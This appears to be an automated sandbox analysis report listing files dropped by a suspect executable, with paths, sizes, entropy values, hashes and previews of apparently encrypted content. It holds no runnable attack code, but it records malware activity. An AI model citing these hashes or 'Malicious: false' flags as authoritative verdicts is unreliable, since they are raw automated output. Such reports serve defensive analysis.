Preview:	{"Maj.k.....zN.3b.0.X`.b.(....-;$.TR......\...g~.....G.7.....KK...V.b...V....s..e.j.v...k.j.wPP%.E...g .....g.N... .g....>1...$L...,...s&.5@B.I.B.../.....?..QL..I0U...4..%R@L.C.5+<..CZ......$..UDL"......am\|...(..0... E..O..P....A_%=.......\|..e.`..g.i..Y5..h..[.......[.b..3.E.<..+......?.....9.u.GU`2lT.@.....>u.......F....}.F......B.3.T7.....N7.?.V....S@..........BF.a.WH5.\|.)..`..\|...j."v..Y.M..Q..(.3T...YZR.Wa....V._Z....{..@...%S...h...FK....%v..^9..gu..c`.m8f.*.....P+(.,+..h.9.....oO.`uY.....t...~F~F.\|..K\|.\'.......=..=.....S.x2...{1.F.!e.o....<.. w2.!{o.H.5Gr...+.w{....,F..b..<.Y..G.aAb.W....i!t.d.U...v.6.F..(...cBx.~v0..3..g....9...x....k.0\|.u...e....5.A.!.'.3.!..)..?.9.7.\..v.\#!..p.2..m;.!...4...u#F.~uR...T,.~T...9v?r.R[....Vp.R8..... .a .#..&EM...}..6,...K...I...-..s]....."..x.......m ?..".}..G...W).....2.1...x... "3........D..R./E.y..C."jB. .EKI...d.>.CL..d..FQ.a.q.Q)..J..."X.in.^t....xH.-@%...o.....M`r.!...B..Q~....#..Sj....

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CatalogCacheMetaData.xml

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	2203
Entropy (8bit):	7.912750861958189
Encrypted:	false
SSDEEP:	48:eXChTazFSm5rthGQSRgJEWwHtiy9/B0RiLxo4LmRgiVksz3nD:IChTgSm7yRuBwR/P3mRF3
MD5:	CD39826EDF1512897A88EF18C93B9E73
SHA1:	88075C9981DBC9FFC09C156E8A46D5E00D294EE8
SHA-256:	C23C7DCD86D409E4CE76859B0C4F19966CFCC15104CA704B5A5F931B78A5FCBF
SHA-512:	59AB00DF630885F823D5B594B3196EFE59F5C16F2772402461E117AAC6108089366516BD30BDEACF614D5C8935B89252FC654AFB7F6DB2FA61D83131E1AF7451
Malicious:	false
Preview:	<?xml.&...,\.F.+.s.V..2?.#...m....}.......{..&.z...N=.i<Q.3K1..........S .y}dk........HHp....t.n..j..j..Y.c.(r......Y%Y......b...\|..3...R..@.....E^<m....NZ...o<.lWl.Q.F.../.J...,(w8..6...7G.D{7.fL....5.....@..<.M.........!.6H....}..).......XPa..C..\|......B..).yG...#YO...8K ...>..v+.'].J...TWt.@xi?2\S.(g.N+=I..c..p./.=v.u..c....DJ=...M....O........`...`$...#.Oe`.[.~.l_.F$Ff..}=./....Z..+Y....P`..T&.N%<...f.I.S_....8.}....BV&....w/yd..h.@....U.@.RK,kgj5.JP.l..\H..K..Wh@....Q8.}#Y5:..]........'.j...A)ilB.H...+7..5.R.......7.W.......S^.4...l...=..!....E../o..<..-Z}.Y......1.a....../J..5.....O.c.g..Q........J.G+...LyC..e.p...$..^....^:.6..j..".>..d.;.v.#6q.M.(iDp..........sE..gJ..}......@K..D...!&oa.~...".n.Q.....Z.Z..6K...........f..O.P....JB..+.D&..6...K..3.RCB.9-<..[..d%........b.....ylY.u.`r....]ty..`...E.{..[..<".I.......&5....j"9..o.....w.W.:....=...zS.e.k*.e.]..0.;..4&.P...H&..o..@...k..S..<q.-.6G?f<KP7..z............#...3m.W`.2R

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edb.chk

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9768379532374905
Encrypted:	false
SSDEEP:	192:nYabdm/43+RYK3vRPX3+cCxdvItKEwxlfKY1X5Vh/G:nDY43+eK39XfCrIUEmBDRjM
MD5:	206963AD0EB65A0FF65918A49540826C
SHA1:	1781F889C1AC29752780B960C4585C9C5E67C6EF
SHA-256:	D93828F8F13B6954CD018DA66CD1E5F9F5C2EA93F042572D05363F5EF695C09A
SHA-512:	24E6B77FE38435128D1F4AC2A55AFAFC8271B977F7CDFF198BE55C2EDE9CA1929E72FDCDBE71CFF1D1BD0F68BD94BBABEC9F7A6A7ABDA3FBE69DEA1D66C05612
Malicious:	false
Preview:	A....D.c..q...4.~.....'.G.A...m%8.....a....%..K.7..b......\K.9.........-.i..].."..S[.F.....2k\q.M..^.>.F..-.#.a.+.&P..v%...f.]]...B..O'.5D.o4...)...i.C~...-\i....b.f....X..]6....!.(-@........?..DY...g%0^.a.Q..9....6...K.i:.D3....e.:a.1...%.z..\|..t....T....<%.oY2....FF{j....2.lq.7.R......z,.R......i..5.v....9......M....z0.M..h....G..J\|&...MU...R.Zx..._hjH...N1g%...X...8...!W.#....L..K.... .C.....7.[lW..0.~[...K.....2....&.c;-......p.g_~.,,..ou.&.......D.\.... .A..=..$.....4.....1.N..D...............A.+7..u./..H....;o(.{n...,.].{V.......X.g....:"5..........r.F.o.4g..&.._B.....v">.......j[..{s2..f.....^...g..%.<^..5m..@YNCL...`.Q=..Z8...?......<>..=..d....-........F..:q..\|..6...4.....?\|D+.H,WY..u..."..S..!9-+:wZ~K.........9.........^.<..G5S.m.qI.....E&)....g.b.E..P.,..J.&...J}.<....r..G.^.B`%.C.<s..\.M.Y.......q.d\|g4.ei..!!.e.*v....Y......$.v_.h.......B.(\N@...B........5.N..ZEK..<..7._V...p..a>9...o/..7..[`..S...o.D..w ....Lc!KH.

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edb.log

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	4.010824755806515
Encrypted:	false
SSDEEP:	3072:SSbdGnckIVSlsPFZszhwAsHVMMsfaoPardA7xMsyRdRqKNOT7VRPDkSSnLRrR7tS:zbocpoudcYQCWari7xMsHkBy
MD5:	F3C78301C6C3AB5B45A43FD6C5E2EE5B
SHA1:	34D440F05AFA875EDCFC24EC400B76567BA75D8E
SHA-256:	0A1FF6233813B2F7832B5C068CAC17FBC6FB186A5AEAEBE26BC65F86F14A580B
SHA-512:	A6D3610733A9AAEF5C3FC05FE1BA90BE2D2E364B3E742C842E64E324B9A182A01BB283516B3F0759B678D5E07C405946939D0E4DFD146E5D8EDAF64EAFB9A679
Malicious:	false
Preview:	....@k.jR......JJ....f.....D...r@.j....a..?.e.I...x..^3..v..=v.n.%\|...1B....r..6....r..,\.....$.V..;+..U.B-/\|s.I.....Wr.\|.7.. v\.nZ.....fj..=/.....X.UQ.W..avXy...5.Y_.y~-..i..n.m....3."+..0.U..Ii.J./..........D..-....q........Dla..E.....z.9n}..-e......`..kN..%.Sju.Q.S....8Q.zf8+.!K.Wz..fI..\.....e...:d.6..`..y..e.`v.F...`...v{.u..qO...c.`Y.L..E....].X9..!....."..................U9...--.x...\|J......q...l.O.<.........+.M.Eb[f..E..\|..,..[...Z.......<$......SB..R..K....J...~r.....&..&9..g ..L.=..aE.d..8U..f.s...T"#.T.;.x...d.X..s....fw.0..{......Se.Pr....5..ml.H....Y.X::.......hR......y... .........us.6t7....!.T..'....(..T.I.i.f:gU\R.G=.d&..f.I..3../aAb)...j.x...RR^8...(...W/qO............2.....T..[..."{m......r...ir...o....W.u....rX.a....Z...'L.E1..d.:..(w2u..^....=..Fjk..{m%9E[.4.@.G..qA.2Ssg..(.....z#pEsm.....Hz.....~f.......F.O>....e..%.OO@.....SfI......q}+..MB9##..+(.(.D.Wrk..C....Kx..rM.."](....ow........*.'oe&\|......RL.1....I

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edbres00001.jrs

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2080439816967705
Encrypted:	false
SSDEEP:	3072:+MXrDG/1z9Y1KPOaADb64NGzA4V5jSVnCptIHj2uC71hPW6WK8b:DDG/1zjDw6GGPjSyID2b71hPW6WK8b
MD5:	0B74E4FC214D2E0AA2D0C7AA1CC70CFA
SHA1:	62AC486A45AAA851ADBF7C94973328F5555270C4
SHA-256:	5E1D22762CF32FE4A722B68D742AC3CA4CC7B143761F98B87DB029BBFC06F25A
SHA-512:	C95C0FD3FFEDFE7D0C7A037FF398D7B4564DCBE11D4AB4C4FFF542987517CB9DA9C870AF66A0F19AB9B75F0CBC0F22518923DA35C5BCCBE711430DBEA8199779
Malicious:	false
Preview:	.....\..J.!..t....z,...........&..g.i.d.M=.^...m.X.=.f.8UI~.w.d^.Qk?.G...T.9....y.z....P....m..!r.E...k9..ua...M..........T.M..4.....`HdkF.C.,(Y[i.Y2Z.Bf..2..T..x.../.......I.l.&.#M.J..<n...8.L(...I\|p.x.X....._I[..~=.^..y.]i[.y~....w..pcS.`.Y..u...\..#1.px...%........h...\|b...R(..mj..U...#..........D.......LL.y....F..6.C...0!..iTL..B.......P.yS.....(..w....=.Rr.:.q.J.v..{/.l..H..=.....s.`..~p,c....\|...H..T.m.....J..p.?..r..R.6UJ.>...2...(...)"........?.vz&3/..F....k.x...rXX>?...z?G....[..JVoz,:..h...U...En...Io...v....0.`...5...Is..NS2...!......$@.....ow1...C.....<..e...Lz..[...Wn..&.:..z.s..fQ.I}..cmub.}z.......j..^s.R...I./"....Q?.C.}.Z...>.K9Y7!+.sfU.\....:......B..c`oF$w.. .Zg......l.R..P...B.)._:.z..~.%..........=.4.b..:....o.e.~3L.k.."X......J..0...5R)..f.w.VQ..td,]...V..+...7.vK.>..z..b.,~..#.s...;6..D^.c]s........1]J5.....4..l..7...........Y..'i.....g.k.h......v..'.?......o......<Sz..P.......!....v..e.E4.....Q.... %..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edbres00002.jrs

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.208888396886372
Encrypted:	false
SSDEEP:	6144:d8anqYHjoOeCPtBJWVYGJwIUjHQkW8gTdGY:yUhH8O11BJWhrxTMY
MD5:	5C8C757A4AA84F5556892834A7524B49
SHA1:	D434ADFD991380BCF3292D10D33883ED6045EDD0
SHA-256:	B19EE3B97B0378DFE6BE4251742CE93AD6FBEBFDDC3C50B5BC88BC921238C978
SHA-512:	52B45161F514E9A25D5AC9A2774D4912B28CC02E7AD625929811E5D29C45FDBC4FB2C281DFA4A7DA5BB40D3A50DCE9FFFD0E67D4FEA69B688761FF20425934B1
Malicious:	false
Preview:	......p...]..\|O.S..7..;.F..C+.@.W.... ..oi...}......"...L.._[...\{.jB-.r\..>k)..../<.....Z.S...$.ZO....[..QYx..:...2A..5.....Q..tWl...{..#...4).YO......_.......j...?..9..;...WGr....YrD..(....s\|]...y.=.........Wt.>.D..F...>....)=.W.#,...>.W..4..U\|.l.:Pe.\|..$m.Z..#PN.b..9t.[.X..F.3..G..a.Q...!...'..c.3.7...np...Dw5V....s..9_;...$.Ik.U....!...h...Ny.=a...u.\|P.o.4..>{g...Kq...Q..+v....7.C..?dd3<.X...7....>.N$G....9......d.N....Z.k.w....h+?.M2.9a..dp~.!O\|x..../.f..h,.\|#P.k..,7#..~.c@\s.5.(F[@...>(w...."..P.}'j..... ....U..S..4.J.%..V.H../..i.@Q...N.:.];....e..Jg..@...W4.....o.Y,.8...owGG._\..4.1p..E..,...j3......./...`...Cv....Df..3.].<.r.?~.lv.....@]N.f........eI:.,.m....\R....ks.....;.....H..{.#.....b...+.J..P.Kv.+*9a%..W.a5F..C...u.7.mw.7i.M."...I.D.F.u.'p...).O.;....E....5..0....-#..l.^.k.4....<^. ......C.m l.. Q....,/1.....[2P~.N#z..qbI..?6.....I6.?........h...i[...A\^...;...j.8.....Qn$v9.-...d....U6P.{..d.\|~...s....<..Z.......^K...&

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edbtmp.log

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2077193459124786
Encrypted:	false
SSDEEP:	3072:5Gj7DmegvQCr6wFCh4lWXmj2hIhAjIOFIkw/WyIPh9eYQ+Oc:5OpOjehgkmwHEOFRa+oYQxc
MD5:	6E08168E29FC5EAC9D0F4EE300A3A752
SHA1:	ABF280D437D209ED91CDD33BDADCEF62690A036C
SHA-256:	E2A452FF2FE1ED6AD046C19E58E5128CEE8D58FA41BBBC9244C6E0C8DFA88317
SHA-512:	31245D16AE8211F3C06E2291BA8AABA4074E110422C0565E978A98011CF5F06BE44C6177ABC98DEACE66F419DE673BE87F7FE06D2CFAE62DF166A4C83EEA9168
Malicious:	false
Preview:	......#.e....g..4.....\34.....}...P.~H..\.J..]......:......J.S.`..#...YX5ES.y^...x+.=aYy.M....[.g..Y...7^.."....u.y....2.Q...w.Ge...g......+H.Vm.mn}.Z...Q.....Y.X..,fB.j#~8.....B.....:.!.XJQ..7m......%..y?......,.O.g...Ko......'.R1.aE.v.3.X.DU./..h.v.m0.3.u..>.ar..x.>.5.E..lcZ!.s.S..^.H.M........8...[~%.7p~OL...3\|.i...\.T..J.j....P...]Y.^.....=DFz......D..U_^%S..Z.../..G....d9dC.,........@..:6.........;4.V.W......N5....#..J..$....s"......\\.+..L..n.b...^.D......'.W8.^.n.C..L...>..<..N.<..d...t/.V.'.x.........4...B.</91$....."....%...(.x\n.6.....S.......)}!@5.c..<...:.W.....}.dYh.#...~..OJL.....].>..f.%.l.V....[{..9.~e..R....0i.S..d...Ks:3..6...Tb...V...F....j.G...G.A:C2.;.].:....x.i.8.....I.k.x..E..p...B<...."....h.>.9.p~..p..F.P=.....{D..Wxj..,.....x....wQh.i.rW...E..O....\..._...K.,.?..9R..w.LF...0...6.#...,.J.@.?.[%.n.j...C ..EU.-.}sQ~L....2..u4.=..4d..B"7.n..6\!.K.....3.s..S#2.....N......].A...@Lp...2i<.l}._.O.

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\IECompatData\iecompatdata.xml

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	3384
Entropy (8bit):	7.944446935815265
Encrypted:	false
SSDEEP:	96:DEcoyGl+ivADdKPWGmu8BDe9g1Xe3Yvevqdl:DEvt+m+bGmLGh3Yve6
MD5:	DC51BAC44E538DA37CB6B60AB2FDC2DE
SHA1:	9DBC296433E4AE829B6083373D2EC877E9D11A4B
SHA-256:	021018E8A8FEB489031C11DAD163D6457EF30E5457E4520218A90B4A16BDE63D
SHA-512:	290FDB2F87DBD9158D12374DF72F5A06ED18FE1EF9083871B57176CD7D484DF448CF785AF7DA0E36A2BAEE081051317927512921751480FDC9B2C845C9F0B0A7
Malicious:	false
Preview:	<?xml..v...$A..9...A...Y....U..;$2.....<....M.d.\9,.W.)V...\x.[....}. ..f..I~-b.........g\.O.<...y.+.IW..DL..`....._Xn.....&.b=.s.A01..@U.E.7E..6..G....^.;N,3....@...}.Z..C`R.d..y..+".Z{F..D...(N.C.o..D...ac..e..e5j...0..b6..l..9.>.6.?0...[zN.R.R..Q.W2..;{7.F+.;..,.a.....i.9.c..y..<.(....H..:u...-jy........,......=..6},......AgLC.1b.~<...7%....bH!o...q9.bq:..b..:.U[.....T.W..[.e..yy.....KW....cW...c./.-..nb.....Z......^oYI.y..f..3.{.!....._........>......O..(Yb.(...7.\D.18....E.....?l.Y..'yn.R.<.K..C9-._...............=T...q../4..7...{......H..../{8....-E...(M.h...e...8.08:.]..9[.VLde.X/..W..oHK....=.....\...v.y!.....g[.x.4.3R.I.O...q.3....d.lL-K..N..S.........3 .PHVy.l=....V.8.%0..<Ro?..G.C.2....Ka....;..'..."....tx..B.HU.U..1...X(...._#...x...f#/L..bw..>.k...1...p..-.....WY..:.~..eJE.OVwq5.d......`N...pw....^D.....j...!$.'...).f.[#$7 ....,,...)!.`c...B.tS.H.G..Q.47P..........J.3........0........Z+.O._rT]W.....}c.>....Sf9...N

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\brndlog.txt

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	6906
Entropy (8bit):	7.977615217801194
Encrypted:	false
SSDEEP:	192:7+R8eiRjKOOnNAkU8GSKIsoJ5ragSsJSNgIJRTgXLLO:748eiXOnNASnJ5HSdgIJRTgXLLO
MD5:	4D18FE57ED373521E282D27C4B7A7E92
SHA1:	2B8B076A67CB407655DE3B93BACC6024B7CD7AEC
SHA-256:	59EE1EFDA0DF8F6C39FBBCD8FFDA64154B20065B37B86AAD848DFD85ADB701CD
SHA-512:	74E84E917980A2B1C0DE40C17EC9D373511B74DD012BCA004DED73004BA4E5FA4F92087129DCB6B4D762F01000794FD198890FB6E29A9263DACA93B872F027BF
Malicious:	false
Preview:	10/03..s.m{.@C.~..!5....E.....g[...LeU."[;..7..%.>...q.B...u.pgz.y}...$....L.G%5.z03.....R_m#..S.Q.p...v....sRc2\X.-....g..`(...E2P....<AA.%p...%.......J...(.~?..e...Mk.emqi.j..`'T..D.Z...."..TY.1..&.....\..`...}.31..... .[I.....R..>S.c......a..J..[.+.,..-v...-..9Am._y...\|.....pj.....O...J.......w...{...!....{..d......&.#}.r(&...T!..$m7.y.....o.O...bl.\.&I.{..#.6$i......./..q.J.T..%.Z.i.)\|.....pb.R6i.:.V..X...`..U.U........[..gPA.g...d.t...(_...............N.(!f..h...@..nP..>...9....x..z.i,..HR.....X........IB....A7P%...;.1.(..k.b.F..E.8.....&i..~]....+.82..<e.s.^.....x.=.....O..j.;.t%.D_....P.4.s..T."......v.r.T.:...S..0c.D....Q=....V...p.B&..n.QAe .......D...@L....lY.p.Fb..H.v.o....&...u.......{e...H.\L..O...Q.....7.Ta.[.#.TK._-..:.{Z.D<@.~D\|..J.4.=7Q...6..&..nU;.F=e.`...9.iJ..!...L....VC .Re...fq..8q H.]..jG..........m..*.^...I..U...xrv.Mo,.)..^U ....m.Y.}..h.m..?6\|..`.co....lo....s.br.\..b\|A...p....)..v... 6.6?.P...?...

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\ie4uinit-ClearIconCache.log

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	834
Entropy (8bit):	7.73059440712535
Encrypted:	false
SSDEEP:	24:QEjk4zsf0mkRiqrJXOrNoI/eODOgcgbXMm3zbD:9jkHcmkoqr1e6uHDVcgAm3nD
MD5:	18B9B1D125F8FEA19DA0FE02C27D3AA2
SHA1:	430D0245DA99835A45E3D967B9542DA71ABC10F8
SHA-256:	A82A54C2F57418EE5B5BC6638379A37E722A6747605AA7E9A1CCE3FAB0AFB31A
SHA-512:	27DEB82F30F8EC6EE79FC82B78BB0F68455CA71A64B4D9EF9B27D98C3F094AC095725D5B91F64ED081535A3F89E41593A9020A35A1A439D1BD7FEF9A6E2ABDA5
Malicious:	false
Preview:	..1.0/..F.e.."..~.j.g..O=.......]C(.....N]..5..X]`q.y..n..~...&).Y.6.9....iB.uz^.'`o..5..{.R......=w.0....$&l0."..........~.G2....D.x3..z.G.X....)..,...).....W<......imb.#E5P...@x,.oJ.o.i.+.8m.q...K.yYx..k....3.@..#..+zY..4..":.[..j...S.w04.......!.C.t..`..%.9..Z....Pd../..~..\W..O..e..u..........qm....-..-.0I:.,.R.H..(d.I&.^.B.y.._..c......_.a......1@(......E......./$..?u(.M..vZ.H];...x.G.x..\...A...QB.`?z7..f.m.k.3.......5....+As-....i...aQ/5.-+Q..T2...?...K;J..$_.fjj...g.....+;....8..F..$;.. .X.u...\+..w..;`.+L.....x..n....^J.,o.UU.#J.g......T.w..#..........3...%-../,.X6dg56-W....M.T/.........W.......l'.\..o..vl...N.=8..Ll.&qy..WM3..1..n.l3.\|.x<r...`..b.8../H.D/...*C&.7.....B.Yy..r`.$.4....`... ..Oi0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\ie4uinit-UserConfig.log

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (869), with no line terminators
Category:	dropped
Size (bytes):	1740
Entropy (8bit):	7.889303317440916
Encrypted:	false
SSDEEP:	48:4DXAVpFNbWlZJ99ZLmKIhf79Zaa0y5VaA23nD:AXAVLNbWlZnFg7rfh/o
MD5:	CFBD6EA907F3AD14A0637E7E344B3169
SHA1:	572EB1F4C46F2F24C9B60E8E902171E295BF3D1A
SHA-256:	676A3139BF7200AA49897FB4E44C6E757CD3D74D265B28BA9E5C990F7EEAAC03
SHA-512:	99DD0906374BB5A3DB7D2DADB2304415D9484A514EA2ED83E9244F6FA6DA5CB387B3E3CB1A10ECF0D33250F6213BA84C4598E678AA23CBCB75D683567B9319E3
Malicious:	false
Preview:	..1.0Y.C..>.Wh.Ao....a:3.0Y:1..@QJ.B....7.}.g9.`xIXU.+....z.OR!sPc?..R18h.......\.M..T\|o0../n..a....#...q.D...f..d.f.b.\..'...^R..2SA\...e...^bk&....].....E.=.L.....~Ka...U..8}.5{t.e.F%..&...7.\|.O..l..:.}.-W(.e...#....CK...K.b..J!..K.J&...Z..]...7.7.n`>.Vv..........P=w..%.kA.....a....x..V\|.a.+.i.3d.O..n.FBB..=r.<.....U..m.Vd.J@.x.i.u3.]....U2~.s.;e/]&e..[2d..{.}..'....2D1..:...!0_{.O....h.^$......8.=O...7...aYw5....b......U.~.Lt...dx............pMv)...G0..T....5.G.\5.8/..u'D.c#q.I..tJI.dwDU?.R...........6...h{..{<!gs.......k:....W4j..$..c...^..M.).ryU..4...y\|...yp%<.;b B..ye-+e.......F.u.Nc.......y....@..Q.Wq4.....w..I..O..p.....85..DYZ.s...6Q....w.......n.4...`...2...Nc......(/.,...h}X.O.O'.X5.k.nR...vi..U7.4...IHS.{...K...v...Ow...mx..{...g..(.\|.<@Cu~...8..T.9t......#...........S(8N......hR......0&.)S.'......pe.G........:.....o...i._..?...E.Z.....`.3..#..v...#."</..f...6..m..u..."5V;...-.,.....\|.}..H.}.-eC..k.wy1..H+...wH.&..i......L...P.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules.xml

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	208087
Entropy (8bit):	7.725643889182691
Encrypted:	false
SSDEEP:	6144:6BL3/9U7VxSQ1gRIzsiPRUEoKtdNdPKICuy:sDVkbp4esCCE/qp
MD5:	BF2A5223CE0E8D0BD35BBBBB406E490A
SHA1:	758AFCF2DD716C4799325C541864F3B31C52C981
SHA-256:	6A1DA55A6D4061DEB4651FBD6D6B1A5C7B332AE009532BD81E8197FA4FC45AB5
SHA-512:	B8AF49D42C3E873BF869EFCBA6CBE0C79C168D7CA30AB2125E1FB7CDB57D955151D5279D0A1072CD6FF1FE771452801F0E2A1C21952284B47271EEF23CA5AB3C
Malicious:	false
Preview:	<?xml.!...3N...!.6..N.E.y.h8.^.o.#.6...e........D...Y........L=.\-..m.....Z.;..+.I.,........dN.U.9.uG...RH.\|.%.i=..l..k.K.@jE.N......e=..[..'H........-./..Ll....pc.!..0.......{v.}.<.8.@.....Fl../..].u....E.....~.RP./......r....>V(./S...=l..Z..+....U....j....{.\|......0...A.Ca.vk,....6.pwZ..a.<.....&d...UY>. .7.} ..t9oc.+A.n..t..Y..........Cya.V...q.C..K.......Uy.2........c...R........+.?vt'O.....dy......P..\|..QFj...w.]}9.[.t.I.PfV......W......$.6.Zk.3-....I.....7...X.....].=.\6...<#.._G...gB1.....&.E[Gv..._.+..$...D...W.........6$.`........Y...J.YTPNQ.C..".....@.`..............@.2.,..\|(5..<u]4p..Y...o..P....x.=.AXry2P.'.A....:......:........ .1.v.HGg.5...c..?-n..."...@g..%..........E.m.fH.[.A...'2...$.7.DD!..wx..\|m.2.)..M.En......<;.x.K..W...B....x'...0K.hrO.x)..b......^.......^.E..GW.C.q..6..i.L...n.........k....6..sk.:.X.Q"............v4jb&...{.eC.m../7..z.U.#3...b\..I.S*....wy..r..0.^b.P......)..V...M...t.$.r`O"..F..xcz....0".....M.. .....,.....q..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules.xml

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	321907
Entropy (8bit):	6.628060629010288
Encrypted:	false
SSDEEP:	3072:nI0SXAEoFQNBOgoHhY2efKnazak2Xna4ZhYkTuwtnWbOrsQ/ZwP:3VbQTOGr4k2Xn1hY6uY8OXhwP
MD5:	13BFE2E699D3F1D2BC368A0EE0D0A6BB
SHA1:	720180894A13D51B5828520F724723D64DB8919B
SHA-256:	A6E3C8F0219B54344E7040179F283C8841504A53D2ED5248A75A7CB5E387B29E
SHA-512:	3A1ED02D9E5D06468EE4164C94C59667ED8B76753665AC84C215159AD2C0B440720D61ED02CCF5B4B4F84A38236BF08197ACEA23AE0C30DAD67E1F2998C8AE55
Malicious:	false
Preview:	<RuleE.!.\.........P.7vF.......kq.....lI5h.&.q.]._...o..(.P.B{...b....:.b.._I.{8..._...E.R...o..4dk.H...`f...=.y.K4.X..w...4.}.j...k.c.1...l.~.Wc...W...=..A.s......st..-..._.8.ch0(:......-..$..7.;E'v/B4.nz...m..p...q.zW..Z.\..........O.......!.D.r..V....q._..W.j...r~......mG..i.D,...Z.-..x.F......XD9%..{P.].%.....Of..D...K%u(.~Ak.eD2.M.....mm...D&........DQ&w&@../{...2VJ..H.l...I.jn..c>.w..&By#.s.>"3.....}M&...[.l...I.9.R.xQ..........5......... ......w..i<.......@M..,6....C.L.3.n.z..R...C.1..&W...9(8...4..%F?...>+.+...Xf.T.{.O..^.~k...p]..=.NPJ..v..p?{.%...s.d.;y]o...P%.....:.h..@.Jy....I@.._ \|.......Qk!.C!$}...N\|;.#T.....1vs.C...$N..U...wMP.f..+.W.N..KD..\a.CT....,.re...Pe...D...G\|.....".x9.....W..\|..%7..+...k.w\|.bd.T.".'..0j5...1......m...e.k.,....2.[wl.U...w..E.....Y._..$9+lT..J....'.y2...iH...........fQA....W....k....../..T.9.E9G.,w...`..Gft.....,.\|.D)....hS..}I.-..At?..DV.A..i.`.b2.]rr.F.B..We}...I.t.kZ..&.d~..b....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	361051
Entropy (8bit):	6.517186390434621
Encrypted:	false
SSDEEP:	6144:c9ne1jZFWu32PharypFBlLfLFbnyXWnPlv:Ce19Z2Ja2pFfHFOGPp
MD5:	54735FBDF1BBF2B32B6876B089CFB6BF
SHA1:	4EA6FEE7FEE087754E996E39F91581EB03555419
SHA-256:	2E0E5E25C5EF3018654A415461E6054C6D20D7DD1BFF93153410BBCD46FA084B
SHA-512:	D65A8E075E3810543C0B8A4FAEFDE2DBB4C3A8805DB0D604D1A2F2897DF2FBB0AA4B4E78261BC09873B2DD923A651EA950AF6AFB9A6AA4CA52169F9DA7E4699E
Malicious:	false
Preview:	<Rule....V.0.xz."..ix..E.>.R[..S....a.\.v........u..JH..e.J.T#-j..X.\|.e.=....Bc.-N`.o......cz.W.....h.N\:qt>....].X..Lde.g....[.9!044k.w}...'. )..N2g.c......IG....hv........Ts.p..0B...t.(.d......#.p9..=0.}B..O..gqC......{.r........K..!H.v..x..g../.I.i...?%....u...Bj.......e.^Z.&..A.'~.FU$"8G............Z?4...W....w.......%A.g{..7.; 9.\@x...Eq.uy~...B...'..t.P..P[.@...BH....N._.G..>..2....m...&....m..mE....CT,.H.#.:.+.u.A..4.!<.O....I6<.....K..J.!.!..Q.H...@.].....p7;f..=..>..Gl..L.G+.O.....QY..........p..M.,....D.... f~>A.+N.L....E...[....n_Lkt%.)r.(..{.L?I73..7...1.G....0k..oA....7-.mY....[.!70....B..@S.p.7......h...a. ...J7.A.q.B..7...b..4..O@..%'y...zbj. .........b.Q....ZY..Ux.d..]I..ch..C;./..&NG.8L.N~k..q.\|..Zp.F.h!..z..P.I...._.?..M.y....>.-._USP.....~..B&`!..._.t.......(..!.Oq...G..yp.`.%..'.....`I..><..%*......;?....#.I..\.t...w#..5M=@t.._f.s.Uu.].."VU=G?....B.~.....k......r.{...8.<\|.=.U.b...R.r..\|....!..`..-.....[cjZ./i}GC......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules.xml

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	361051
Entropy (8bit):	6.5149697512522255
Encrypted:	false
